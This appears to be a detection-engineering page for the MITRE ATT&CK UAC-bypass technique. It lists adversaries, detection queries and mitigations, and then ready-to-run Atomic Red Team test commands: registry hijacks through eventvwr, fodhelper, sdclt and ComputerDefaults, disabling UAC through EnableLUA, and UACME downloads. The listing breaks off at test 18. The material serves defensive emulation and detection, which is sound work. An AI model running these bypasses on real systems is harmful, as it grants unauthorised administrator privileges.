Medusa GroupG1051 ↗
Has attempted to bypass UAC using Component Object Model (COM) interface.1
tfMITRE ATT&CK sub-technique
Bypass User Account Control T1548.002
sub-technique of T1548 Abuse Elevation Control Mechanism
- Tactic
- Privilege Escalation
- Platform
- Windows
- Version
- 3.0
- Created
- 30 January 2020
- Last modified
- 12 May 2026
- Contributors
- Stefan Kanthak; Casey Smith
Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.[1]
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
11
Threat groupsTop 17%
Threat groups83rd percentile · 83% of ATT&CK techniques have this many threat groups attributed or fewer.1
Campaigns72nd pct
Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.51
Tools & malwareTop 7%
Tools & malware93rd percentile · 93% of ATT&CK techniques have this many tools implementing them or fewer.76
Detection rulesTop 2%
Detection rules98th percentile · 98% of ATT&CK techniques have this many detection rules written or fewer.Bypass User Account Control MITRE reference T1548.002
Top 17%of all ATT&CK techniques for number of groups
11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Earth LuscaG1006 ↗
Has used the Fodhelper UAC bypass technique to gain elevated privileges.1
EvilnumG0120 ↗
Has used PowerShell to bypass UAC.1
APT38G0082 ↗
Has used the legitimate application ieinstal.exe to bypass UAC.1
Cobalt GroupG0080 ↗
Has bypassed UAC.1
APT37G0067 ↗
Has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.1
All 11 groups for this technique · 6 newest in this preview
1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Operation HoneybeeC0006 ↗
During Operation Honeybee, the threat actors used the malicious NTWDBLIB.DLL and cliconfig.exe to bypass UAC protections.1
All 1 campaigns for this technique
51 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
HTTPTroyS9007 ↗
Has leveraged the ability to execute commands with system privileges using the srun <EXECUTABLE> <ARGS> command.1
QilinS1242 ↗
Can bypass standard user access controls by using stolen tokens to launch processes at an elevated security context.1
LockBit 3.0S1202 ↗
Can bypass UAC to execute code with elevated privileges through an elevated Component Object Model (COM) interface.1
LockBit 2.0S1199 ↗
Can bypass UAC through creating the Registry key HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\ICM\Calibration.12
CHIMNEYSWEEPS1149 ↗
Can make use of the Windows SilentCleanup scheduled task to execute its payload with elevated privileges.1
Raspberry RobinS1130 ↗
Will use the legitimate Windows utility fodhelper.exe to run processes at elevated privileges without requiring a User Account Control prompt.1
All 51 software entries for this technique · 6 newest in this preview
Offense vs defense T1548.002
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 1Sigma rules (cumulative) · 58Splunk ESCU (cumulative) · 18
first rule: 2017 Q1 · 1 of 1 campaigns plottedBypass User Account Control detection strategy DET0388
MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection Strategy for T1548.002 – Bypass User Account Control (UAC)
1 platform
AN1094 · Windows
Detects a multi-event behavior chain involving UAC bypass attempts via known auto-elevated binaries (e.g., eventvwr.exe, sdclt.exe), unauthorized Registry changes to UAC-related keys, and anomalous process execution with elevated privileges but lacking standard parent-child lineage. Suspicious patterns include invocation of auto-elevated COM objects or manipulation of isolatedCommand Registry entries without consent prompts.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Module LoadDC0016 | WinEventLog:Sysmon | EventCode=7 |
| Process CreationDC0032 | WinEventLog:Security | EventCode=4688 |
| Process AccessDC0035 | WinEventLog:Sysmon | EventCode=10 |
| Windows Registry Key ModificationDC0063 | WinEventLog:Sysmon | EventCode=13, 14 |
| Logon Session MetadataDC0088 | WinEventLog:Security | EventCode=4672 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Correlate registry tampering and elevation within a tunable time window (e.g., 30 seconds) to reduce noise from benign admin activity. |
| ElevatedProcessNameList | Tunable list of suspicious elevated binaries (e.g., sdclt.exe, eventvwr.exe, computerdefaults.exe) known to support UAC bypass. |
| ParentProcessAnomalyThreshold | Define logic for parent-child mismatch (e.g., non-elevated process spawning auto-elevated one) to flag uncommon elevation paths. |
3 analytics
Microsoft Windows allows for processes to remotely create threads within other processes of the same privilege level. This functionality is provided via the Windows API CreateRemoteThread. Both Windows and third-party software use this ability for legitimate purposes. For example, the Windows process csrss.exe creates threads in programs to send signals to registered callback routines. Both adversaries and host-based security software use this functionality to inject DLLs, but for very different purposes. An adversary is likely to inject into a program to evade defenses or bypass User Account Control, but a security program might do this to gain increased monitoring of API calls. One of the most common methods of DLL Injection is through the Windows API LoadLibrary.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-SCA | System Call Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| thread | remote_create | src_pid |
| thread | remote_create | start_function |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
Search for remote thread creations that start at LoadLibraryA or LoadLibraryW. Depending on the tool, it may provide additional information about the DLL string that is an argument to the function. If there is any security software that legitimately injects DLLs, it must be carefully whitelisted.
remote_thread = search Thread:RemoteCreate remote_thread = filter (start_function == "LoadLibraryA" or start_function == "LoadLibraryW") remote_thread = filter (src_image_path != "C:\Path\To\TrustedProgram.exe") output remote_thread
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=8 start_function IN ["LoadLibraryA", "LoadLibraryW"] -source_image="C:\Path\To\TrustedProgram.exe"
Bypassing user account control (UAC Bypass) is generally done by piggybacking on a system process that has auto-escalate privileges. This analytic looks to detect those cases as described by the open-source UACME tool.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PLA | Process Lineage Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | image_path |
| process | create | parent_image_path |
| process | create | integrity_level |
| process | create | user |
| process | create | parent_command_line |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
This Splunk query looks for specific invocations of UACME, representing different ways to bypass user account control.
index=_your_sysmon_index_ EventCode=1 IntegrityLevel=High|search (ParentCommandLine="\"c:\\windows\\system32\\dism.exe\"*""*.xml" AND Image!="c:\\users\\*\\appdata\\local\\temp\\*\\dismhost.exe") OR ParentImage=c:\\windows\\system32\\fodhelper.exe OR (CommandLine="\"c:\\windows\\system32\\wusa.exe\"*/quiet*" AND User!=NOT_TRANSLATED AND CurrentDirectory=c:\\windows\\system32\\ AND ParentImage!=c:\\windows\\explorer.exe) OR CommandLine="*.exe\"*cleanmgr.exe /autoclean*" OR (ParentImage="c:\\windows\\*dccw.exe" AND Image!="c:\\windows\\system32\\cttune.exe") OR Image="c:\\program files\\windows media player\\osk.exe" OR ParentImage="c:\\windows\\system32\\slui.exe"|eval PossibleTechniques=case(like(lower(ParentCommandLine),"%c:\\windows\\system32\\dism.exe%"), "UACME #23", like(lower(Image),"c:\\program files\\windows media player\\osk.exe"), "UACME #32", like(lower(ParentImage),"c:\\windows\\system32\\fodhelper.exe"), "UACME #33", like(lower(CommandLine),"%.exe\"%cleanmgr.exe /autoclean%"), "UACME #34", like(lower(Image),"c:\\windows\\system32\\wusa.exe"), "UACME #36", like(lower(ParentImage),"c:\\windows\\%dccw.exe"), "UACME #37", like(lower(ParentImage),"c:\\windows\\system32\\slui.exe"), "UACME #45")
This is a pseudocode version of the above Splunk query.
processes = search Process:Create possible_uac_bypass = filter processes where ( integrity_level == "High" and (parent_image_path == "c:\windows\system32\fodhelper.exe") or (command_line == "*.exe\"*cleanmgr.exe /autoclean*") or (image_path == "c:\program files\windows media player\osk.exe") or (parent_image_path == "c:\windows\system32\slui.exe") or (parent_command_line == '"c:\windows\system32\dism.exe"*""*.xml"' and image_path != "c:\users\*\appdata\local\temp\*\dismhost.exe") or (command_line == '"c:\windows\system32\wusa.exe"*/quiet*' and user != "NOT_TRANSLATED" and current_working_directory == "c:\windows\system32\" and parent_image_path != "c:\windows\explorer.exe") or (parent_image_path == "c:\windows\*dccw.exe" and image_path != "c:\windows\system32\cttune.exe") ) output possible_uac_bypass
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 integrity_level="High" ((parent_image="c:\windows\system32\fodhelper.exe" OR command='*.exe"*cleanmgr.exe /autoclean*' OR image="c:\program files\windows media player\osk.exe" OR parent_image="c:\windows\system32\slui.exe") OR (parent_command='"c:\windows\system32\dism.exe"*""*.xml"' -image="c:\users\*\appdata\local\temp\*\dismhost.exe") OR (parent_image="c:\windows\*dccw.exe" -image="c:\windows\system32\cttune.exe") OR (command='"c:\windows\system32\wusa.exe"*/quiet*' -user="NOT_TRANSLATED" path="c:\windows\system32\" -parent_image="c:\windows\explorer.exe"))
Threat actors often, after compromising a machine, try to disable User Access Control (UAC) to escalate privileges. This is often done by changing the registry key for system policies using “reg.exe”, a legitimate tool provided by Microsoft for modifying the registry via command prompt or scripts. This action interferes with UAC and may enable a threat actor to escalate privileges on the compromised system, thereby allowing further exploitation of the system.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | image_path |
| process | create | command_line |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
This query looks for the specific use of reg.exe in correlation to commands aimed at disabling UAC.
sourcetype = __your_sysmon_index__ ParentImage = "C:\\Windows\\System32\\cmd.exe" | where like(CommandLine,"reg.exe%HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System%REG_DWORD /d 0%")
This query looks for the specific use of reg.exe in correlation to commands aimed at disabling UAC.
processes = search Process:Create
cmd_processes = filter processes where (
(parent_image = "C:\\Windows\\System32\\cmd.exe") AND (command_line = "reg.exe%HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System%REG_DWORD /d 0%")
)
AuditM1047
Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.
Remove users from the local administrator group on systems.
Update SoftwareM1051
Consider updating Windows to the latest version and patch level to utilize the latest protective measures against UAC bypass.
User Account ControlM1052
Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL.
Tests27Executorscmd 16 · PowerShell 11Need elevation4 of 27Have prerequisites8Have cleanup22Platformswindows
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Bypass UAC using Event Viewer (cmd) | windows | cmd | — | — | Yes | ||||||||||||||
Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privileges. Input arguments
Attack command reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
cmd.exe /c eventvwr.msc
Cleanup command reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1 GUIDd805be9f-8b84-49fa-a5fe-b964fa897594 | ||||||||||||||||||||
| 02 | Bypass UAC using Event Viewer (PowerShell) | windows | PowerShell | — | — | Yes | ||||||||||||||
PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privalages Input arguments
Attack command New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"
Cleanup command Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore GUIDbf94a56c-e6bb-4886-96e2-6ac31a02ae35 | ||||||||||||||||||||
| 03 | Bypass UAC using Fodhelper | windows | cmd | — | — | Yes | ||||||||||||||
Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened. Input arguments
Attack command reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
fodhelper.exe
Cleanup command reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1 GUIDe2297381-b69c-4b37-8f38-5a92e3e01c3b | ||||||||||||||||||||
| 04 | Bypass UAC using Fodhelper - PowerShell | windows | PowerShell | — | — | Yes | ||||||||||||||
PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened. Input arguments
Attack command New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
Cleanup command Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore GUID1176e3ae-5f42-4a38-915f-e03d4595a2d9 | ||||||||||||||||||||
| 05 | Bypass UAC using ComputerDefaults (PowerShell) | windows | PowerShell | — | — | Yes | ||||||||||||||
PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10 Upon execution administrative command prompt should open Input arguments
Attack command New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe"
Cleanup command Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore GUIDcee7ae41-9616-4daa-a323-3a7164fbfddb | ||||||||||||||||||||
| 06 | Bypass UAC by Mocking Trusted Directories | windows | cmd | Required | — | Yes | ||||||||||||||
Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch Input arguments
Attack command mkdir "\\?\C:\Windows \System32\"
copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
Cleanup command rd "\\?\C:\Windows \" /S /Q >nul 2>nul del "c:\testbypass.exe" >nul 2>nul GUIDb4cf2365-af45-46e9-95d9-1c1a5f23d317 | ||||||||||||||||||||
| 07 | Bypass UAC using sdclt DelegateExecute | windows | PowerShell | — | — | Yes | ||||||||||||||
Bypasses User Account Control using a fileless method, registry only. Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe Reference - sevagas.com Adapted from MITRE ATT&CK Evals Input arguments
Attack command New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command_to_execute}'
New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
Start-Process -FilePath $env:windir\system32\sdclt.exe
Start-Sleep -s 3
Cleanup command Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore GUIDc3a7471d-8bf1-460a-9d73-40235f5c5b60 | ||||||||||||||||||||
| 08 | Disable UAC using reg.exe | windows | cmd | Required | — | Yes | ||||||||||||||
Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0 Attack command reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f Cleanup command reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f GUID6b316440-8c58-4918-a065-ca3448fe8a5e | ||||||||||||||||||||
| 09 | Bypass UAC using SilentCleanup task | windows | cmd | — | — | — | ||||||||||||||
Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/ There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level). For example, we can set the windir registry kye to: "cmd /k REM " And forcefully run SilentCleanup task: schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs. Input arguments
Attack command "#{file_path}"
GUID921d5477-a69c-4558-84aa-76377fabfadd | ||||||||||||||||||||
| 10 | UACME Bypass Method 23 | windows | cmd | — | 1 | Yes | ||||||||||||||
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin. Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation Target: \system32\pkgmgr.exe Component: DismCore.dll Implementation: ucmDismMethod UCM Method: UacMethodDISM https://github.com/hfiref0x/UACME Input arguments
Attack command "#{uacme_exe}"
Cleanup command powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore Prerequisite UACME executable must exist on disk at specified location ("#{uacme_exe}") Check $tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force GUIDf89fd8db-aa63-4cc3-b15b-4c92107d5190 | ||||||||||||||||||||
| 11 | UACME Bypass Method 31 | windows | cmd | — | 1 | Yes | ||||||||||||||
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin. Author: Enigma0x3 Type: Shell API Method: Registry key manipulation Target: \system32\sdclt.exe Component: Attacker defined Implementation: ucmSdcltIsolatedCommandMethod UCM Method: UacMethodShellSdclt https://github.com/hfiref0x/UACME Input arguments
Attack command "#{uacme_exe}"
Cleanup command powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore Prerequisite UACME executable must exist on disk at specified location ("#{uacme_exe}") Check $tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force GUID93a6e54a-a65b-48a2-b648-bef355cc66e8 | ||||||||||||||||||||
| 12 | UACME Bypass Method 33 | windows | cmd | — | 1 | Yes | ||||||||||||||
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin. Author: winscripting.blog Type: Shell API Method: Registry key manipulation Target: \system32\fodhelper.exe Component: Attacker defined Implementation: ucmShellRegModMethod UCM Method: UacMethodMsSettings2 https://github.com/hfiref0x/UACME Input arguments
Attack command "#{uacme_exe}"
Cleanup command powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore Prerequisite UACME executable must exist on disk at specified location ("#{uacme_exe}") Check $tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force GUID63ec2ac4-48be-445b-8e55-c02ab3da4630 | ||||||||||||||||||||
| 13 | UACME Bypass Method 34 | windows | cmd | — | 1 | Yes | ||||||||||||||
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin. Author: James Forshaw Type: Shell API Method: Environment variables expansion Target: \system32\svchost.exe via \system32\schtasks.exe Component: Attacker defined Implementation: ucmDiskCleanupEnvironmentVariable UCM Method: UacMethodDiskSilentCleanup https://github.com/hfiref0x/UACME Input arguments
Attack command "#{uacme_exe}"
Cleanup command powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore Prerequisite UACME executable must exist on disk at specified location ("#{uacme_exe}") Check $tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force GUID7a67cb37-fd9e-410c-91b0-eb8e973bab11 | ||||||||||||||||||||
| 14 | UACME Bypass Method 39 | windows | cmd | — | 1 | Yes | ||||||||||||||
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin. Author: Stefan Kanthak Type: Dll Hijack Method: .NET Code Profiler Target: \system32\mmc.exe Component: Attacker defined Implementation: ucmCorProfilerMethod UCM Method: UacMethodCorProfiler https://github.com/hfiref0x/UACME Input arguments
Attack command "#{uacme_exe}"
Cleanup command powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore Prerequisite UACME executable must exist on disk at specified location ("#{uacme_exe}") Check $tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force GUID451b99e4-a60f-4035-961d-be1741c7cd98 | ||||||||||||||||||||
| 15 | UACME Bypass Method 56 | windows | cmd | — | 1 | Yes | ||||||||||||||
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin. Author: Hashim Jawad Type: Shell API Method: Registry key manipulation Target: \system32\WSReset.exe Component: Attacker defined Implementation: ucmShellRegModMethod UCM Method: UacMethodShellWSReset https://github.com/hfiref0x/UACME Input arguments
Attack command "#{uacme_exe}"
Cleanup command powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore Prerequisite UACME executable must exist on disk at specified location ("#{uacme_exe}") Check $tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force GUIDfe5de7c1-531e-43f4-831d-f9f5b0ed11fa | ||||||||||||||||||||
| 16 | UACME Bypass Method 59 | windows | cmd | — | 1 | Yes | ||||||||||||||
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin. Author: James Forshaw Type: AppInfo ALPC Method: RAiLaunchAdminProcess and DebugObject Target: Attacker defined Component: Attacker defined Implementation: ucmDebugObjectMethod UCM Method: UacMethodDebugObject https://github.com/hfiref0x/UACME Input arguments
Attack command "#{uacme_exe}"
Cleanup command powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore Prerequisite UACME executable must exist on disk at specified location ("#{uacme_exe}") Check $tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force GUID185a7a6f-1d47-4773-91e1-2703621d8736 | ||||||||||||||||||||
| 17 | UACME Bypass Method 61 | windows | cmd | — | 1 | Yes | ||||||||||||||
Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts. Note: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin. Author: Enigma0x3/bytecode77 derivative by Nassim Asrir Type: Shell API Method: Registry key manipulation Target: \system32\slui.exe, \system32\changepk.exe Component: Attacker defined Implementation: ucmShellRegModMethod UCM Method: UacMethodDebugObject https://github.com/hfiref0x/UACME Input arguments
Attack command "#{uacme_exe}"
Cleanup command powershell Stop-Process -Name cmd -Force -ErrorAction Ignore powershell Stop-Process -Name mmc -Force -ErrorAction Ignore Prerequisite UACME executable must exist on disk at specified location ("#{uacme_exe}") Check $tempPath = cmd /c echo #{uacme_exe}
if (Test-Path "$tempPath") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" "PathToAtomicsFolder\..\ExternalPayloads\uacme" -Force Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\uacme.zip" -Force GUID743e3777-8ff0-44bc-9e04-447278184572 | ||||||||||||||||||||
| 18 | WinPwn - UAC Magic | windows | PowerShell | — | — | — | ||||||||||||||
